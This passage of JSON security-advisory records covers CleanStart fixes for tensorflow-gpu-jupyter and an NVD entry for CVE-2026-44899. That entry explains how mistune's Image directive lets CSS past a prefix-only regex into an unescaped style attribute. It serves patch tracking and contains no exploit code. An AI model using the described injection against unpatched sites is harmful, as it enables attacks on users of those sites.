  "details": "Package tensorflow-gpu-jupyter version 2.21.0-r5 fixes 28 vulnerabilities: ghsa-rch3-82jr-f9w9, ghsa-mqcg-5x36-vfcg, ghsa-37w4-hwhx-4rc4, ghsa-mf9v-mfxr-j63j, ghsa-5mrq-x3x5-8v8f...",
  "id": "CLEANSTART-2026-GG76429",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-07-30T07:10:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://tensorflow.org"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "ghsa-rch3-82jr-f9w9",
    "ghsa-mqcg-5x36-vfcg",
    "ghsa-37w4-hwhx-4rc4",
    "ghsa-mf9v-mfxr-j63j",
    "ghsa-5mrq-x3x5-8v8f",
    "ghsa-5789-5fc7-67v3",
    "ghsa-qccp-gfcp-xxvc",
    "ghsa-24qx-w28j-9m6p",
    "ghsa-8mp2-v27r-99xp",
    "ghsa-qh7q-6qm3-653w",
    "ghsa-65pc-fj4g-8rjx",
    "ghsa-6269-cqxg-mhhv",
    "ghsa-ccfx-mfmx-2fx9",
    "ghsa-v87v-83h2-53w7",
    "CVE-2026-45409",
    "CVE-2026-35397",
    "CVE-2026-40110",
    "CVE-2026-40934",
    "CVE-2025-61669",
    "CVE-2026-40171",
    "CVE-2026-42266",
    "CVE-2026-42557",
    "CVE-2026-33079",
    "CVE-2026-44897",
    "CVE-2026-44898",
    "CVE-2026-44899",
    "CVE-2026-44431",
    "CVE-2026-44432"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Security vulnerability affects the tensorflow-gpu-jupyter package. This issue is resolved in later releases. See references for vulnerability details.",
  "id": "CLEANSTART-2026-SI19530",
  "modified": "2026-08-14T12:25:42Z",
  "published": "2026-09-18T09:43:43.514919Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-SI19530.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44899"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fix for CVE-2026-44899 applied in: tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "CVE-2026-44899"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mistune",
          "vendor": "lepture",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A91629D7-7A30-4A3F-B1AD-17FE21D59820",
              "versionEndExcluding": "3.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1."
    },
    {
      "lang": "es",
      "value": "Mistune es un analizador de Markdown de Python con renderizadores y plugins. Antes de la versi\u00f3n 3.2.1, el plugin de la directiva Image valida las opciones :width: y :height: con una expresi\u00f3n regular compilada como _num_re = re.compile(r\"^\\d+(?:\\.\\d)?\"). Cuando el valor validado no es un n\u00famero entero simple, render_block_image() lo inserta directamente en un atributo style=\"width:...;\" o style=\"height:...;\". Debido a que el valor fue aceptado por la expresi\u00f3n regular de solo prefijo, cualquier CSS despu\u00e9s de los d\u00edgitos iniciales llega al atributo style= textualmente y sin escape. Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 3.2.1."
    }
  ],
  "id": "CVE-2026-44899",
  "lastModified": "2026-07-24T11:10:00.170",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.7,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44899",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-27T13:28:35.879099Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T21:16:39.953",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}